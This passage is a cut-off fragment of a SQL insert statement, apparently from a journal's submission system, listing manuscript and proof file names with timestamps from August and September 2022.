11:54:54',1,3,0),(33269,12905,'12905-Manuscript-2022-08-30-wrl1.pdf',NULL,'2022-08-30 13:42:20',1,3,0),(33270,12907,'12907-Manuscript-2022-08-30-y8oi.pdf',NULL,'2022-08-30 13:44:33',1,3,0),(33271,12911,'12911-Manuscript-2022-08-30-zwrp.pdf',NULL,'2022-08-30 13:47:41',1,3,0),(33272,13012,'13012-84-Manuscript-proof-submission-2022-08-30.rar',NULL,'2022-08-30 13:50:31',1,3,0),(33273,12918,'12918-Manuscript-2022-08-30-ecl0.pdf',NULL,'2022-08-30 13:52:47',1,3,0),(33274,12954,'12954-1766-Manuscript-proof-submission-2022-08-30.rar',NULL,'2022-08-30 13:54:15',1,3,0),(33275,12953,'12953-118-Manuscript-proof-submission-2022-08-30.rar',NULL,'2022-08-30 13:55:05',1,3,0),(33276,12947,'12947-976-Manuscript-proof-submission-2022-08-30.rar',NULL,'2022-08-30 13:55:34',1,3,0),(33277,13014,'13014-0-Manuscript-2022-08-30.docx',NULL,'2022-08-30 13:55:48',1,1,0),(33278,12919,'12919-Manuscript-2022-08-30-keu2.pdf',NULL,'2022-08-30 13:55:52',1,3,0),(33279,12944,'12944-177-Manuscript-proof-submission-2022-08-30.rar',NULL,'2022-08-30 13:56:09',1,3,0),(33280,13012,'13012-Manuscript-2022-08-30-640d-ipacr-22-13012.rar',NULL,'2022-08-30 14:24:03',1,3,0),(33281,12944,'12944-Manuscript-2022-08-30-ybvj-ipacr-22-12944.rar',NULL,'2022-08-30 14:55:12',1,3,0),(33282,12947,'12947-Manuscript-2022-08-30-gjxt-ipacr-22-12947.rar',NULL,'2022-08-30 15:07:28',1,3,0),(33283,12953,'12953-Manuscript-2022-08-30-iojh-ipacr-22-12953.rar',NULL,'2022-08-30 15:16:04',1,3,0),(33284,12954,'12954-Manuscript-2022-08-30-rnx2-ipacr-22-12954.rar',NULL,'2022-08-30 15:24:25',1,3,0),(33285,12499,'12499-447-Manuscript-proof-submission-2022-08-30.rar',NULL,'2022-08-30 16:06:16',1,3,0),(33286,12811,'12811-233-Manuscript-proof-submission-2022-08-30.rar',NULL,'2022-08-30 16:23:03',1,3,0),(33287,12811,'12811-1942-Manuscript-proof-submission-2022-08-30.rar',NULL,'2022-08-30 16:23:05',1,3,0),(33288,12811,'12811-1927-Manuscript-proof-submission-2022-08-30.rar',NULL,'2022-08-30 16:23:07',1,3,0),(33289,13011,'13011-390-Manuscript-proof-submission-2022-08-30.rar',NULL,'2022-08-30 16:28:31',1,3,0),(33290,12968,'12968-379-Manuscript-proof-submission-2022-08-30.rar',NULL,'2022-08-30 16:29:56',1,3,0),(33291,12791,'12791-856-Manuscript-proof-submission-2022-08-30.rar',NULL,'2022-08-30 16:30:47',1,3,0),(33292,13010,'13010-1755-Manuscript-proof-submission-2022-08-30.rar',NULL,'2022-08-30 16:32:14',1,3,0),(33293,12989,'12989-Manuscript-2022-08-30-5ytn-graphic-completed.pdf',NULL,'2022-08-30 16:40:48',1,3,0),(33294,13005,'13005-Manuscript-2022-08-30-m6ug-ipjnn-22-13005.docx',NULL,'2022-08-30 16:51:24',1,3,0),(33295,13004,'13004-Manuscript-2022-08-30-bo08-ipjnn-22-13004.docx',NULL,'2022-08-30 16:51:35',1,3,0),(33296,12997,'12997-705-Manuscript-proof-submission-2022-08-30.docx',NULL,'2022-08-30 17:24:57',1,3,0),(33297,12997,'12997-Manuscript-2022-09-01-st0o-ijddr-22-12997.rar',NULL,'2022-09-01 09:43:03',1,3,0),(33298,12998,'12998-653-Manuscript-proof-submission-2022-09-01.rar',NULL,'2022-09-01 10:04:40',1,3,0),(33299,12993,'12993-1729-Manuscript-proof-submission-2022-09-01.rar',NULL,'2022-09-01 11:12:19',1,3,0),(33300,12993,'12993-833-Manuscript-proof-submission-2022-09-01.rar',NULL,'2022-09-01 11:12:20',1,3,0),(33301,12812,'12812-35-Manuscript-proof-submission-2022-09-01.rar',NULL,'2022-09-01 13:05:59',1,3,0),(33302,13003,'13003-897-Manuscript-proof-submission-2022-09-01.rar',NULL,'2022-09-01 13:14:44',1,3,0),(33303,13002,'13002-284-Manuscript-proof-submission-2022-09-01.rar',NULL,'2022-09-01 13:15:42',1,3,0),(33304,13015,'13015-0-Manuscript-2022-09-01.docx',NULL,'2022-09-01 13:51:01',1,1,0),(33305,12989,'12989-Manuscript-2022-09-01-72do.pdf',NULL,'2022-09-01 14:12:24',1,3,0),(33306,13016,'13016-0-Manuscript-2022-09-01.docx',NULL,'2022-09-01 14:12:43',1,1,0),(33307,12993,'12993-Manuscript-2022-09-01-sbpt-IPJUS-22-12993.rar',NULL,'2022-09-01 14:18:22',1,3,0),(33308,13017,'13017-0-Manuscript-2022-09-01.docx',NULL,'2022-09-01 14:18:26',1,1,0),(33309,12990,'12990-767-Manuscript-proof-submission-2022-09-01.rar',NULL,'2022-09-01 14:56:59',1,3,0),(33310,12991,'12991-1010-Manuscript-proof-submission-2022-09-01.rar',NULL,'2022-09-01 14:58:07',1,3,0),(33311,12989,'12989-Manuscript-2022-09-01-hsn0-ap-ame-revised.pdf',NULL,'2022-09-01 15:57:56',1,3,0),(33312,13018,'13018-0-Manuscript-2022-09-01.docx',NULL,'2022-09-01 16:55:27',1,1,0),(33313,12991,'12991-Manuscript-2022-09-01-u9xo-ipmedt-22-12991.rar',NULL,'2022-09-01 16:58:59',1,3,0),(33314,12990,'12990-Manuscript-2022-09-01-j3s9-ipmedt-22-12990.rar',NULL,'2022-09-01 17:05:05',1,3,0),(33315,13019,'13019-0-Manuscript-2022-09-01.docx',NULL,'2022-09-01 17:07:52',1,1,0),(33316,13020,'13020-0-Manuscript-2022-09-01.docx',NULL,'2022-09-01 17:10:02',1,1,0),(33317,13021,'13021-0-Manuscript-2022-09-01.docx',NULL,'2022-09-01 17:15:24',1,1,0),(33318,12989,'12989-Manuscript-2022-09-01-niyj.pdf',NULL,'2022-09-01 17:47:10',1,3,0),(33319,13010,'13010-Manuscript-2022-09-01-i9rq-ap-team-revised.rar',NULL,'2022-09-01 18:00:51',1,3,0),(33320,13011,'13011-Manuscript-2022-09-01-wji4-iptb-22-13011.rar',NULL,'2022-09-01 18:01:36',1,3,0),(33321,12968,'12968-Manuscript-2022-09-01-sv4f-iptb-22-12968.rar',NULL,'2022-09-01 18:02:19',1,3,0),(33322,12791,'12791-Manuscript-2022-09-01-17cd-iptb-22-12791.rar',NULL,'2022-09-01 18:03:07',1,3,0),(33323,12811,'12811-Manuscript-2022-09-01-lqub-ap-team-revised.rar',NULL,'2022-09-01 18:07:08',1,3,0),(33324,13022,'13022-0-Manuscript-2022-09-01.docx',NULL,'2022-09-01 20:31:39',1,1,0),(33325,12812,'12812-Manuscript-2022-09-02-xoc1-iphspr-22-12812.rar',NULL,'2022-09-02 13:35:42',1,3,0),(33326,13002,'13002-Manuscript-2022-09-02-rga7-iphspr-22-13002.rar',NULL,'2022-09-02 13:43:23',1,3,0),(33327,13002,'13002-Manuscript-2022-09-02-418x-iphspr-22-13002.rar',NULL,'2022-09-02 13:44:43',1,3,0),(33328,13003,'13003-Manuscript-2022-09-02-7exi-iphspr-22-13003.rar',NULL,'2022-09-02 13:52:05',1,3,0),(33329,13018,'13018-310-Manuscript-proof-submission-2022-09-02.docx',NULL,'2022-09-02 14:24:06',1,3,0),(33330,12811,'12811-Manuscript-2022-09-02-iywz-graphic-completed.pdf',NULL,'2022-09-02 14:52:52',1,3,0),(33331,13011,'13011-Manuscript-2022-09-02-xnh9-graphic-completed.pdf',NULL,'2022-09-02 14:53:32',1,3,0),(33332,12791,'12791-Manuscript-2022-09-02-mgdc-graphic-completed.pdf',NULL,'2022-09-02 14:54:15',1,3,0),(33333,12968,'12968-Manuscript-2022-09-02-xz1i-graphic-completed.pdf',NULL,'2022-09-02 14:54:48',1,3,0),(33334,13010,'13010-Manuscript-2022-09-02-xj5s-graphic-completed.pdf',NULL,'2022-09-02 14:55:23',1,3,0),(33335,13018,'13018-Manuscript-2022-09-02-dlxo-ijddr-22-13018.rar',NULL,'2022-09-02 15:41:27',1,3,0),(33336,13016,'13016-1954-Manuscript-proof-submission-2022-09-02.rar',NULL,'2022-09-02 15:41:34',1,3,0),(33337,13014,'13014-249-Manuscript-proof-submission-2022-09-02.rar',NULL,'2022-09-02 15:45:10',1,3,0),(33338,13006,'13006-Manuscript-2022-09-02-5egb-ijddr-22-13006.rar',NULL,'2022-09-02 15:57:01',1,3,0),(33339,13014,'13014-Manuscript-2022-09-02-u8pd-iphspr-22-13014.rar',NULL,'2022-09-02 16:41:17',1,3,0),(33340,13016,'13016-Manuscript-2022-09-02-f6ya-iphspr-22-13016.rar',NULL,'2022-09-02 16:47:16',1,3,0),(33341,12812,'12812-Manuscript-2022-09-02-ci0r-graphic-completed.pdf',NULL,'2022-09-02 17:01:09',1,3,0),(33342,13002,'13002-Manuscript-2022-09-02-etn0-graphic-completed.pdf',NULL,'2022-09-02 17:01:48',1,3,0),(33343,13003,'13003-Manuscript-2022-09-02-0yau-graphic-completed.pdf',NULL,'2022-09-02 17:02:32',1,3,0),(33344,12979,'12979-1905-Manuscript-proof-submission-2022-09-02.rar',NULL,'2022-09-02 17:18:10',1,3,0),(33345,13023,'13023-0-Manuscript-2022-09-02.docx',NULL,'2022-09-02 17:23:07',1,1,0),(33346,13024,'13024-0-Manuscript-2022-09-02.docx',NULL,'2022-09-02 17:29:54',1,1,0),(33347,13025,'13025-0-Manuscript-2022-09-02.docx',NULL,'2022-09-02 17:34:22',1,1,0),(33348,13026,'13026-0-Manuscript-2022-09-02.docx',NULL,'2022-09-02 17:54:54',1,1,0),(33349,13027,'13027-0-Manuscript-2022-09-03.docx',NULL,'2022-09-03 09:51:47',1,1,0),(33350,13028,'13028-0-Manuscript-2022-09-03.docx',NULL,'2022-09-03 10:15:01',1,1,0),(33351,13022,'13022-1558-Manuscript-proof-submission-2022-09-03.docx',NULL,'2022-09-03 10:33:51',1,3,0),(33352,13029,'13029-0-Manuscript-2022-09-03.docx',NULL,'2022-09-03 10:40:01',1,1,0),(33353,13014,'13014-Manuscript-2022-09-03-p4xt-graphic-completed.pdf',NULL,'2022-09-03 10:46:09',1,3,0),(33354,13016,'13016-Manuscript-2022-09-03-fi01-graphic-completed.pdf',NULL,'2022-09-03 10:46:46',1,3,0),(33355,13030,'13030-0-Manuscript-2022-09-03.docx',NULL,'2022-09-03 10:57:52',1,1,0),(33356,13031,'13031-0-Manuscript-2022-09-03.docx',NULL,'2022-09-03 11:03:57',1,1,0),(33357,13032,'13032-0-Manuscript-2022-09-03.docx',NULL,'2022-09-03 11:21:29',1,1,0),(33358,13033,'13033-0-Manuscript-2022-09-03.docx',NULL,'2022-09-03 11:34:08',1,1,0),(33359,13034,'13034-0-Manuscript-2022-09-03.docx',NULL,'2022-09-03 11:35:45',1,1,0),(33360,13035,'13035-0-Manuscript-2022-09-03.docx',NULL,'2022-09-03 12:00:25',1,1,0),(33361,13036,'13036-0-Manuscript-2022-09-03.docx',NULL,'2022-09-03 12:36:18',1,1,0),(33362,13037,'13037-0-Manuscript-2022-09-05.docx',NULL,'2022-09-05 08:27:41',1,1,0),(33363,12973,'12973-1471-Manuscript-proof-submission-2022-09-05.rar',NULL,'2022-09-05 09:34:12',1,3,0),(33364,12973,'12973-334-Manuscript-proof-submission-2022-09-05.rar',NULL,'2022-09-05 09:34:16',1,3,0),(33365,12973,'12973-Manuscript-2022-09-05-s8uk-ipfs-22-12973.rar',NULL,'2022-09-05 10:16:17',1,3,0),(33366,13000,'13000-2000-Manuscript-2022-09-05.docx',NULL,'2022-09-05 10:21:04',1,1,0),(33367,12974,'12974-272-Manuscript-proof-submission-2022-09-05.rar',NULL,'2022-09-05 10:58:28',1,3,0),(33368,12978,'12978-871-Manuscript-proof-submission-2022-09-05.rar',NULL,'2022-09-05 11:29:59',1,3,0),(33369,12974,'12974-Manuscript-2022-09-05-vg3k-ipfs-22-12974.rar',NULL,'2022-09-05 11:40:54',1,3,0),(33370,12978,'12978-Manuscript-2022-09-05-olg6-ipfs-22-12978.rar',NULL,'2022-09-05 11:41:32',1,3,0),(33371,12972,'12972-1152-Manuscript-proof-submission-2022-09-05.rar',NULL,'2022-09-05 13:41:38',1,3,0),(33372,12972,'12972-Manuscript-2022-09-05-b5gi-ipar-22-12972.rar',NULL,'2022-09-05 14:19:37',1,3,0),(33373,13004,'13004-Manuscript-2022-09-05-5qk8-graphic-completed.pdf',NULL,'2022-09-05 15:21:34',1,3,0),(33374,13005,'13005-Manuscript-2022-09-05-tbu9-graphic-completed.pdf',NULL,'2022-09-05 15:22:03',1,3,0),(33375,13038,'13038-0-Manuscript-2022-09-05.docx',NULL,'2022-09-05 16:20:23',1,1,0),(33376,13005,'13005-Manuscript-2022-09-06-kosf.pdf',NULL,'2022-09-06 12:14:39',1,3,0),(33377,13004,'13004-Manuscript-2022-09-06-z1ws.pdf',NULL,'2022-09-06 12:14:50',1,3,0),(33378,12906,'12906-Manuscript-2022-09-06-t43i-graphic-completed.pdf',NULL,'2022-09-06 12:15:16',1,3,0),(33379,12929,'12929-Manuscript-2022-09-06-2hes-graphic-completed.pdf',NULL,'2022-09-06 12:15:22',1,3,0),(33380,12935,'12935-Manuscript-2022-09-06-lhu0-graphic-completed.pdf',NULL,'2022-09-06 12:26:57',1,3,0),(33381,12993,'12993-Manuscript-2022-09-06-czn0-graphic-completed.pdf',NULL,'2022-09-06 12:44:16',1,3,0),(33382,12562,'12562-Manuscript-2022-09-06-yno5-graphic-completed.pdf',NULL,'2022-09-06 12:44:22',1,3,0),(33384,13040,'13040-0-Manuscript-2022-09-06.docx',NULL,'2022-09-06 13:45:34',1,1,0),(33385,12914,'12914-Manuscript-2022-09-06-c8a4-graphic-completed.pdf',NULL,'2022-09-06 14:56:37',1,3,0),(33386,12913,'12913-Manuscript-2022-09-06-si97-graphic-completed.pdf',NULL,'2022-09-06 14:56:47',1,3,0),(33387,12904,'12904-Manuscript-2022-09-06-tu7q-graphic-completed.pdf',NULL,'2022-09-06 14:56:55',1,3,0),(33388,12991,'12991-Manuscript-2022-09-06-b8wc-graphic-completed.pdf',NULL,'2022-09-06 15:08:31',1,3,0),(33389,12990,'12990-Manuscript-2022-09-06-kzx5-graphic-completed.pdf',NULL,'2022-09-06 15:08:36',1,3,0),(33390,12914,'12914-Manuscript-2022-09-06-rsk7.pdf',NULL,'2022-09-06 15:58:04',1,3,0),(33391,12990,'12990-Manuscript-2022-09-06-l3pw.pdf',NULL,'2022-09-06 16:02:41',1,3,0),(33392,12904,'12904-Manuscript-2022-09-06-ersx.pdf',NULL,'2022-09-06 17:00:20',1,3,0),(33393,12913,'12913-Manuscript-2022-09-06-73zs.pdf',NULL,'2022-09-06 17:02:52',1,3,0),(33394,12991,'12991-Manuscript-2022-09-06-jf1l.pdf',NULL,'2022-09-06 17:05:00',1,3,0),(33395,13041,'13041-0-Manuscript-2022-09-06.docx',NULL,'2022-09-06 17:33:30',1,1,0),(33396,13042,'13042-0-Manuscript-2022-09-06.docx',NULL,'2022-09-06 17:38:49',1,1,0),(33397,13043,'13043-0-Manuscript-2022-09-06.docx',NULL,'2022-09-06 17:42:41',1,1,0),(33398,13044,'13044-0-Manuscript-2022-09-06.docx',NULL,'2022-09-06 17:46:09',1,1,0),(33399,13045,'13045-0-Manuscript-2022-09-06.docx',NULL,'2022-09-06 17:49:48',1,1,0),(33400,13035,'13035-1145-Manuscript-proof-submission-2022-09-07.rar',NULL,'2022-09-07 11:46:34',1,3,0),(33401,12925,'12925-718-Manuscript-proof-submission-2022-09-07.rar',NULL,'2022-09-07 15:13:34',1,3,0),(33402,12944,'12944-Manuscript-2022-09-07-pyrl-graphic-completed.pdf',NULL,'2022-09-07 15:54:45',1,3,0),(33403,12947,'12947-Manuscript-2022-09-07-qn1a-graphic-completed.pdf',NULL,'2022-09-07 15:54:58',1,3,0),(33404,12953,'12953-Manuscript-2022-09-07-3xvl-graphic-completed.pdf',NULL,'2022-09-07 15:55:05',1,3,0),(33405,12954,'12954-Manuscript-2022-09-07-asyz-graphic-completed.pdf',NULL,'2022-09-07 15:55:24',1,3,0),(33406,13012,'13012-Manuscript-2022-09-07-lswx-graphic-completed.pdf',NULL,'2022-09-07 15:55:33',1,3,0),(33407,13046,'13046-0-Manuscript-2022-09-07.docx',NULL,'2022-09-07 16:48:59',1,1,0),(33408,13046,'13046-1-Manuscript-2022-09-07.docx',NULL,'2022-09-07 16:48:59',1,1,0),(33409,10452,'10452-1483-Manuscript-proof-submission-2022-09-07.zip',NULL,'2022-09-07 17:33:04',1,3,0),(33410,12853,'12853-1347-Manuscript-proof-submission-2022-09-07.zip',NULL,'2022-09-07 17:42:43',1,3,0),(33411,12853,'12853-1627-Manuscript-proof-submission-2022-09-07.zip',NULL,'2022-09-07 17:42:54',1,3,0),(33412,12988,'12988-636-Manuscript-proof-submission-2022-09-07.rar',NULL,'2022-09-07 17:44:34',1,3,0),(33413,12863,'12863-1404-Manuscript-proof-submission-2022-09-07.zip',NULL,'2022-09-07 17:46:46',1,3,0),(33414,13047,'13047-0-Manuscript-2022-09-07.docx',NULL,'2022-09-07 18:08:26',1,1,0),(33415,13034,'13034-592-Manuscript-proof-submission-2022-09-08.rar',NULL,'2022-09-08 09:27:10',1,3,0),(33416,12988,'12988-Manuscript-2022-09-08-8hun-ipacm-22-12988.rar',NULL,'2022-09-08 10:19:23',1,3,0),(33417,13032,'13032-1821-Manuscript-proof-submission-2022-09-08.rar',NULL,'2022-09-08 10:28:49',1,3,0),(33418,13032,'13032-Manuscript-2022-09-08-ja8q-ipacm-22-13032.rar',NULL,'2022-09-08 10:58:49',1,3,0),(33419,13034,'13034-Manuscript-2022-09-08-r1lk-ipacm-22-13034.rar',NULL,'2022-09-08 10:59:30',1,3,0),(33420,12983,'12983-18-Manuscript-proof-submission-2022-09-08.rar',NULL,'2022-09-08 11:50:46',1,3,0),(33421,12983,'12983-Manuscript-2022-09-08-jz60-ap-team-revised.rar',NULL,'2022-09-08 11:57:11',1,3,0),(33422,12940,'12940-1929-Manuscript-proof-submission-2022-09-08.pdf',NULL,'2022-09-08 13:33:39',1,3,0),(33423,12939,'12939-169-Manuscript-proof-submission-2022-09-08.pdf',NULL,'2022-09-08 13:36:53',1,3,0),(33424,12873,'12873-1117-Manuscript-proof-submission-2022-09-08.pdf',NULL,'2022-09-08 13:48:11',1,3,0),(33425,13027,'13027-1534-Manuscript-proof-submission-2022-09-08.rar',NULL,'2022-09-08 14:15:01',1,3,0),(33426,13027,'13027-Manuscript-2022-09-08-coid-IPJUS-22-13027.rar',NULL,'2022-09-08 15:56:12',1,3,0),(33427,13029,'13029-153-Manuscript-proof-submission-2022-09-08.rar',NULL,'2022-09-08 15:56:42',1,3,0),(33428,12998,'12998-Manuscript-2022-09-08-mblc-IPJUS-22-12998.rar',NULL,'2022-09-08 15:57:36',1,3,0),(33429,13029,'13029-Manuscript-2022-09-08-pqgo-IPJUS-22-13029.rar',NULL,'2022-09-08 16:26:47',1,3,0),(33430,13048,'13048-0-Manuscript-2022-09-08.docx',NULL,'2022-09-08 16:49:36',1,1,0),(33431,13049,'13049-0-Manuscript-2022-09-08.docx',NULL,'2022-09-08 16:56:40',1,1,0),(33433,13051,'13051-0-Manuscript-2022-09-08.docx',NULL,'2022-09-08 16:59:46',1,1,0),(33434,13052,'13052-0-Manuscript-2022-09-08.docx',NULL,'2022-09-08 19:58:05',1,1,0),(33435,12926,'12926-617-Manuscript-proof-submission-2022-09-09.docx',NULL,'2022-09-09 09:04:52',1,3,0),(33436,13031,'13031-1474-Manuscript-proof-submission-2022-09-09.rar',NULL,'2022-09-09 10:11:09',1,3,0),(33437,13031,'13031-Manuscript-2022-09-09-a0h7-ap-team-revised.rar',NULL,'2022-09-09 10:23:28',1,3,0),(33438,13053,'13053-0-Manuscript-2022-09-09.docx',NULL,'2022-09-09 11:54:26',1,1,0),(33439,13054,'13054-0-Manuscript-2022-09-09.docx',NULL,'2022-09-09 14:04:37',1,1,0),(33442,13057,'13057-0-Manuscript-2022-09-09.docx',NULL,'2022-09-09 17:37:04',1,1,0),(33443,13052,'13052-705-Manuscript-2022-09-12.docx',NULL,'2022-09-12 09:30:49',1,1,0),(33444,13052,'13052-456-Manuscript-2022-09-12.docx',NULL,'2022-09-12 09:30:49',1,1,0),(33445,13052,'13052-1603-Manuscript-2022-09-12.docx',NULL,'2022-09-12 09:30:49',1,1,0),(33446,13058,'13058-0-Manuscript-2022-09-12.docx',NULL,'2022-09-12 10:42:32',1,1,0),(33447,13059,'13059-0-Manuscript-2022-09-12.docx',NULL,'2022-09-12 10:43:29',1,1,0),(33448,13060,'13060-0-Manuscript-2022-09-12.docx',NULL,'2022-09-12 11:08:12',1,1,0),(33449,13022,'13022-Manuscript-2022-09-12-7csl-ijddr-22-13022.rar',NULL,'2022-09-12 12:20:41',1,3,0),(33450,13022,'13022-Manuscript-2022-09-12-vlwu-ijddr-22-13022.rar',NULL,'2022-09-12 12:21:01',1,3,0),(33451,13033,'13033-135-Manuscript-proof-submission-2022-09-12.rar',NULL,'2022-09-12 13:08:08',1,3,0),(33452,13030,'13030-965-Manuscript-proof-submission-2022-09-12.rar',NULL,'2022-09-12 13:08:37',1,3,0),(33453,13028,'13028-1682-Manuscript-proof-submission-2022-09-12.rar',NULL,'2022-09-12 13:09:08',1,3,0),(33454,13015,'13015-1158-Manuscript-proof-submission-2022-09-12.rar',NULL,'2022-09-12 13:09:35',1,3,0),(33455,13017,'13017-1541-Manuscript-proof-submission-2022-09-12.rar',NULL,'2022-09-12 13:10:00',1,3,0),(33456,13024,'13024-746-Manuscript-proof-submission-2022-09-12.docx',NULL,'2022-09-12 17:55:32',1,3,0),(33457,13026,'13026-265-Manuscript-proof-submission-2022-09-12.rar',NULL,'2022-09-12 17:56:19',1,3,0),(33458,13036,'13036-989-Manuscript-proof-submission-2022-09-12.rar',NULL,'2022-09-12 17:57:27',1,3,0),(33459,13025,'13025-1900-Manuscript-proof-submission-2022-09-12.rar',NULL,'2022-09-12 17:58:14',1,3,0),(33460,13025,'13025-1278-Manuscript-proof-submission-2022-09-12.rar',NULL,'2022-09-12 17:58:16',1,3,0),(33461,13023,'13023-1076-Manuscript-proof-submission-2022-09-12.rar',NULL,'2022-09-12 17:58:52',1,3,0),(33462,13061,'13061-0-Manuscript-2022-09-13.docx',NULL,'2022-09-13 09:41:07',1,1,0),(33463,13053,'13053-674-Manuscript-proof-submission-2022-09-13.rar',NULL,'2022-09-13 10:19:17',1,3,0),(33464,13053,'13053-Manuscript-2022-09-13-3gk4-ap-team-revised.rar',NULL,'2022-09-13 10:25:49',1,3,0),(33465,12924,'12924-663-Manuscript-proof-submission-2022-09-13.rar',NULL,'2022-09-13 11:11:38',1,3,0),(33466,12987,'12987-228-Manuscript-proof-submission-2022-09-13.rar',NULL,'2022-09-13 11:15:45',1,3,0),(33467,13000,'13000-69-Manuscript-proof-submission-2022-09-13.rar',NULL,'2022-09-13 11:22:43',1,3,0),(33468,12978,'12978-Manuscript-2022-09-13-am90-graphic-completed.pdf',NULL,'2022-09-13 14:21:41',1,3,0),(33469,10975,'10975-Manuscript-2022-09-13-rqnx-graphic-completed.pdf',NULL,'2022-09-13 14:22:44',1,3,0),(33470,11598,'11598-Manuscript-2022-09-13-mcry-graphic-completed.pdf',NULL,'2022-09-13 14:23:10',1,3,0),(33471,12900,'12900-Manuscript-2022-09-13-uk5r-graphic-completed.pdf',NULL,'2022-09-13 14:23:17',1,3,0),(33472,13062,'13062-0-Manuscript-2022-09-13.docx',NULL,'2022-09-13 21:34:31',1,1,0),(33473,13063,'13063-0-Manuscript-2022-09-13.docx',NULL,'2022-09-14 04:01:34',1,1,0),(33475,13036,'13036-1626-Manuscript-proof-submission-2022-09-14.rar',NULL,'2022-09-14 10:07:48',1,3,0),(33476,13026,'13026-565-Manuscript-proof-submission-2022-09-14.rar',NULL,'2022-09-14 10:08:29',1,3,0),(33477,13025,'13025-1181-Manuscript-proof-submission-2022-09-14.rar',NULL,'2022-09-14 10:09:08',1,3,0),(33478,13024,'13024-1705-Manuscript-proof-submission-2022-09-14.rar',NULL,'2022-09-14 10:09:49',1,3,0),(33479,13023,'13023-925-Manuscript-proof-submission-2022-09-14.rar',NULL,'2022-09-14 10:10:31',1,3,0),(33480,13015,'13015-Manuscript-2022-09-14-h3qt-ipacr-22-13015.rar',NULL,'2022-09-14 11:00:47',1,3,0),(33481,13017,'13017-Manuscript-2022-09-14-9734-ipacr-22-13017.rar',NULL,'2022-09-14 11:01:29',1,3,0),(33482,13028,'13028-Manuscript-2022-09-14-mybg-ipacr-22-13028.rar',NULL,'2022-09-14 11:42:21',1,3,0),(33483,13030,'13030-Manuscript-2022-09-14-q3fo-ipacr-22-13030.rar',NULL,'2022-09-14 11:48:54',1,3,0),(33484,13033,'13033-Manuscript-2022-09-14-cgyb-ipacr-22-13033.rar',NULL,'2022-09-14 11:57:28',1,3,0),(33485,13036,'13036-Manuscript-2022-09-14-ijqk-iphspr-22-13036.rar',NULL,'2022-09-14 13:38:52',1,3,0),(33486,13025,'13025-Manuscript-2022-09-14-7oe5-iphspr-22-13025.rar',NULL,'2022-09-14 13:39:31',1,3,0),(33487,13024,'13024-Manuscript-2022-09-14-h2gd-iphspr-22-13024.rar',NULL,'2022-09-14 13:42:02',1,3,0),(33488,13023,'13023-Manuscript-2022-09-14-n9x3-ap-team-revised.rar',NULL,'2022-09-14 13:43:01',1,3,0),(33489,13026,'13026-Manuscript-2022-09-14-d2s6-ap-team-revised.rar',NULL,'2022-09-14 13:44:27',1,3,0),(33490,13065,'13065-0-Manuscript-2022-09-14.docx',NULL,'2022-09-14 14:32:08',1,1,0),(33491,12725,'12725-1202-Manuscript-proof-submission-2022-09-14.rar',NULL,'2022-09-14 14:33:26',1,3,0),(33492,13066,'13066-0-Manuscript-2022-09-14.docx',NULL,'2022-09-14 21:38:43',1,1,0),(33493,13066,'13066-1-Manuscript-2022-09-14.docx',NULL,'2022-09-14 21:38:43',1,1,0),(33494,13057,'13057-1464-Manuscript-proof-submission-2022-09-15.rar',NULL,'2022-09-15 11:15:24',1,3,0),(33495,13059,'13059-457-Manuscript-2022-09-15.docx',NULL,'2022-09-15 11:49:49',1,1,0),(33496,13061,'13061-416-Manuscript-proof-submission-2022-09-15.rar',NULL,'2022-09-15 13:55:07',1,3,0),(33497,13000,'13000-Manuscript-2022-09-15-hfdb-ipjbs-22-13000.rar',NULL,'2022-09-15 14:12:47',1,3,0),(33498,12987,'12987-Manuscript-2022-09-15-sgzt-ipjbs-22-12987.rar',NULL,'2022-09-15 14:20:33',1,3,0),(33499,12924,'12924-Manuscript-2022-09-15-ih1w-ipjbs-22-12924.rar',NULL,'2022-09-15 14:28:57',1,3,0),(33500,13054,'13054-1704-Manuscript-proof-submission-2022-09-15.rar',NULL,'2022-09-15 14:33:28',1,3,0),(33501,13061,'13061-Manuscript-2022-09-15-co29-ipfs-22-13061.rar',NULL,'2022-09-15 14:55:44',1,3,0),(33502,13054,'13054-Manuscript-2022-09-15-92yb-ipacm-22-13054.rar',NULL,'2022-09-15 15:15:49',1,3,0),(33503,13057,'13057-Manuscript-2022-09-15-lhnc-ipacm-22-13057.rar',NULL,'2022-09-15 15:21:51',1,3,0),(33504,13067,'13067-0-Manuscript-2022-09-16.doc',NULL,'2022-09-16 07:48:02',1,1,0),(33505,13068,'13068-0-Manuscript-2022-09-16.docx',NULL,'2022-09-16 12:09:52',1,1,0),(33506,13041,'13041-587-Manuscript-proof-submission-2022-09-16.rar',NULL,'2022-09-16 17:00:51',1,3,0),(33507,13042,'13042-463-Manuscript-proof-submission-2022-09-16.rar',NULL,'2022-09-16 17:02:28',1,3,0),(33508,13042,'13042-71-Manuscript-proof-submission-2022-09-16.rar',NULL,'2022-09-16 17:02:30',1,3,0),(33509,13045,'13045-1626-Manuscript-proof-submission-2022-09-16.rar',NULL,'2022-09-16 17:04:12',1,3,0),(33510,13044,'13044-1633-Manuscript-proof-submission-2022-09-16.rar',NULL,'2022-09-16 17:06:09',1,3,0),(33511,13069,'13069-0-Manuscript-2022-09-16.docx',NULL,'2022-09-17 01:48:16',1,1,0),(33512,13070,'13070-0-Manuscript-2022-09-17.docx',NULL,'2022-09-17 05:40:48',1,1,0),(33513,13043,'13043-712-Manuscript-proof-submission-2022-09-17.rar',NULL,'2022-09-17 09:45:18',1,3,0),(33514,13043,'13043-543-Manuscript-proof-submission-2022-09-17.rar',NULL,'2022-09-17 09:45:20',1,3,0),(33515,13061,'13061-Manuscript-2022-09-17-lqje-graphic-completed.pdf',NULL,'2022-09-17 10:30:28',1,3,0),(33516,13060,'13060-1435-Manuscript-proof-submission-2022-09-17.rar',NULL,'2022-09-17 11:21:38',1,3,0),(33517,13071,'13071-0-Manuscript-2022-09-17.docx',NULL,'2022-09-17 11:49:58',1,1,0),(33518,13060,'13060-Manuscript-2022-09-17-kp8v-IPJUS-22-13060.rar',NULL,'2022-09-17 12:46:56',1,3,0),(33519,13041,'13041-Manuscript-2022-09-17-i3pq-iptb-22-13041.rar',NULL,'2022-09-17 13:01:09',1,3,0),(33520,13042,'13042-Manuscript-2022-09-17-wqkz-iptb-22-13042.rar',NULL,'2022-09-17 13:01:53',1,3,0),(33521,13042,'13042-Manuscript-2022-09-17-2s7z-iptb-22-13042.rar',NULL,'2022-09-17 13:02:09',1,3,0),(33522,13043,'13043-Manuscript-2022-09-17-cqfy-iptb-22-13043.rar',NULL,'2022-09-17 13:02:45',1,3,0),(33523,13044,'13044-Manuscript-2022-09-17-xwpe-iptb-22-13044.rar',NULL,'2022-09-17 